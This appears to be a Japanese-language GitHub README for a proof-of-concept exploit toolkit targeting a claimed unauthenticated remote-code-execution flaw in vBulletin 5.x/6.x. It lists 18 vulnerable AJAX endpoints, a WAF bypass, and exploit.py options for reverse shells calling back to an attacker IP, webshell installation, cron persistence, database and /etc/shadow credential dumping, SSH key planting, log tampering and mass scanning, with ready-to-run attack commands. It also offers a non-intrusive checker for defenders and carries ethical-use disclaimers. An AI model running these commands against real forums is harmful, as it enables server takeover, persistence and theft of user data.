tc4dy/cve-2026-61511-poc-exploitCVE-2026-61511 – vBulletin 事前認証RCE（CVSS 9.8）。脆弱性 5.x/6.x（未パッチ）。Endpoint Pool、AJAX、PHPFuck WAFバイパスによるマルチエクスプロイト。フルツールキット：リバースシェル、プロキシ、永続化、ウェブシェル、データベース操作、ファイアウォール制御、ログ管理、大量スキャン。2バージョン：マルチエクスプロイト＆セーフチェック。Python 3.8+ 倫理的に使用し、法的に遵守してください。🔒
⚠️ 倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみを対象としたツールを提供します。
許可のないコンピュータシステムへのアクセスは、CFAA（米国）、Computer Misuse Act（英国）、TCK 243/244（トルコ）、および世界各国の同様の法律に基づき違法です。
CVE‑2026‑61511 は、vBulletin の AJAX テンプレートレンダリングエンジンにおける PHP eval() インジェクションの欠陥です。
影響を受けるバージョン: 5.0.0 – 5.7.5 および 6.0.0 – 6.2.1。
複数の攻撃エンドポイント – このバグは複数の AJAX ハンドラーに存在します:
/ajax/render/pagenav/ajax/api/ad/replaceAdTemplate/ajax/render/widget_php/ajax/render/widget_tabbedcontainer_tab_panel/ajax/api/content_* /getIndexableContent エンドポイントPHPFuck エンコーディング – ペイロードは PHP 演算子と数値のシーケンスに変換され、WAF フィルターを回避して任意の PHP コード実行を可能にします。
認証不要 – 攻撃者は任意の脆弱なエンドポイントに細工した POST リクエストを送信し、Web サーバーの権限でシステムコマンドを実行できます。
影響 – サーバー完全侵害、データ窃取、バックドア、横展開、永続化。バージョンをアップグレードしてください！
| ツール | 目的 | 対象ユーザー |
|---|---|---|
exploit.py | リバースシェル、永続化、ファイル操作、データベースダンプ、ファイアウォール管理、ログ管理、ポートフォワーディング、SSH キー展開、ネットワークスキャン、マススキャン（マルチスレッド）を備えた完全なツールキット。 | レッドチーム / 許可されたペンテスター |
safecheck.py | 悪意のあるペイロードを実行せずに脆弱性をチェックする非侵襲的な検証ツール。バージョンを検出し、全エンドポイントをテストして詳細なレポートを生成します。 | ブルーチーム / セキュリティ監査人 |
git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt
requirements.txt の内容:
request
urllib3
このソフトウェアは教育目的および許可されたセキュリティテストのみを目的として提供されています。
| 機能 | exploit.py | safecheck.py |
|---|
| 脆弱性検出 | ✅ | ✅ |
| バージョン検出 | ✅ | ✅ |
| マルチエンドポイントテスト（18 パス） | ✅ | ✅ |
| コマンド実行 | ✅ | ❌ |
| リバースシェル | ✅ | ❌ |
| ファイルアップロード/ダウンロード | ✅ | ❌ |
| 永続化メカニズム | ✅ | ❌ |
| Web シェル展開 | ✅ | ❌ |
| データベース操作 | ✅ | ❌ |
| システム情報収集 | ✅ | ✅ |
| ファイアウォール管理 | ✅ | ❌ |
| ログ管理 | ✅ | ❌ |
| ポートフォワーディング | ✅ | ❌ |
| SSH キー展開 | ✅ | ❌ |
| ネットワークスキャン | ✅ | ❌ |
| マススキャン（マルチスレッド） | ✅ | ❌ |
| プロキシサポート | ✅ | ✅ |
| JSON レポート出力 | ✅ | ✅ |
| 対話型メニュー | ✅ | ❌ |
| 非侵襲（セーフ）モード | ❌ | ✅ |
| 詳細/デバッグモード | ✅ | ✅ |
| カスタムコマンド実行 | ✅ | ❌ |
| マルチコマンドチェーン | ✅ | ❌ |
| リモートファイル読み取り | ✅ | ❌ |
| リモートファイル書き込み | ✅ | ❌ |
| システムユーザー管理 | ✅ | ❌ |
| ファイアウォール回避テクニック | ✅ | ❌ |
| WAF 回避（PHPFuck） | ✅ | ✅ |
| シナリオ | 推奨ツール |
|---|
| ブルーチーム – vBulletin インストールが脆弱かどうかの確認 | safecheck.py |
| セキュリティ監査 – 非侵襲的な脆弱性評価 | safecheck.py |
| レッドチーム – 完全なエクスプロイトを伴う許可されたペネトレーションテスト | exploit.py |
| バグバウンティ – 責任ある開示テスト | safecheck.py |
| マススキャン – 複数のターゲットの脆弱性チェック | exploit.py（検出のみ） |
| インシデントレスポンス – システムが侵害されているかの確認 | safecheck.py |
| パラメータ | 説明 |
|---|
-t, --target | ターゲット URL（例: http://forum.com/vb） |
--proxy | HTTP プロキシ（例: http://127.0.0.1:8080） |
--timeout | リクエストタイムアウト（秒）（デフォルト: 10） |
--retry | パスごとのリトライ回数（デフォルト: 3） |
--output | 詳細レポートを JSON ファイルに保存 |
-v, --verbose | 詳細出力 |
-q, --quiet | クワイエットモード（最小出力） |
--lhost | エクスプロイトに必須 – コールバック用 IP |
--lport | コールバック用ポート（デフォルト: 4444） |
--threads | マススキャン用スレッド数（デフォルト: 5） |
--exploit | 検出後にエクスプロイトを実行 |
--full | フルアタック（全モジュール） |
--shell | リバースシェルを開始 |
--webshell | Web シェルをインストール（/shell.php） |
--persist | 永続化をインストール（cron ジョブ） |
--dump | データベースをダンプ |
--dump-creds | 認証情報をダンプ（/etc/passwd、/etc/shadow） |
--interactive | 検証成功後の対話型メニュー |
| # | シナリオ | コマンド |
|---|
| 1 | クイック脆弱性チェック | python safecheck.py -t http://target.com/vb |
| 2 | レポート付き詳細スキャン | python safecheck.py -t http://target.com/vb --output report.json -v |
| 3 | リバースシェル | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell |
| 4 | フルアタック（全モジュール） | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full |
| 5 | ファイルからのマススキャン | python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json |
| 6 | 対話型メニューモード | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive |
| # | エンドポイント |
|---|
| 1 | /ajax/render/pagenav |
| 2 | /ajax/render/pagenav?template=page |
| 3 | /ajax/api/ad/replaceAdTemplate |
| 4 | /ajax/render/widget_php |
| 5 | /ajax/render/widget_tabbedcontainer_tab_panel |
| 6 | /ajax/api/content_infraction/getIndexableContent |
| 7 | /ajax/api/content_video/getIndexableContent |
| 8 | /ajax/api/content_text/getIndexableContent |
| 9 | /ajax/api/content_report/getIndexableContent |
| 10 | /ajax/api/content_redirect/getIndexableContent |
| 11 | /ajax/api/content_privatemessage/getIndexableContent |
| 12 | /ajax/api/content_poll/getIndexableContent |
| 13 | /ajax/api/content_photo/getIndexableContent |
| 14 | /ajax/api/content_link/getIndexableContent |
| 15 | /ajax/api/content_gallery/getIndexableContent |
| 16 | /ajax/api/content_event/getIndexableContent |
| 17 | /ajax/api/content_channel/getIndexableContent |
| 18 | /ajax/api/content_attach/getIndexableContent |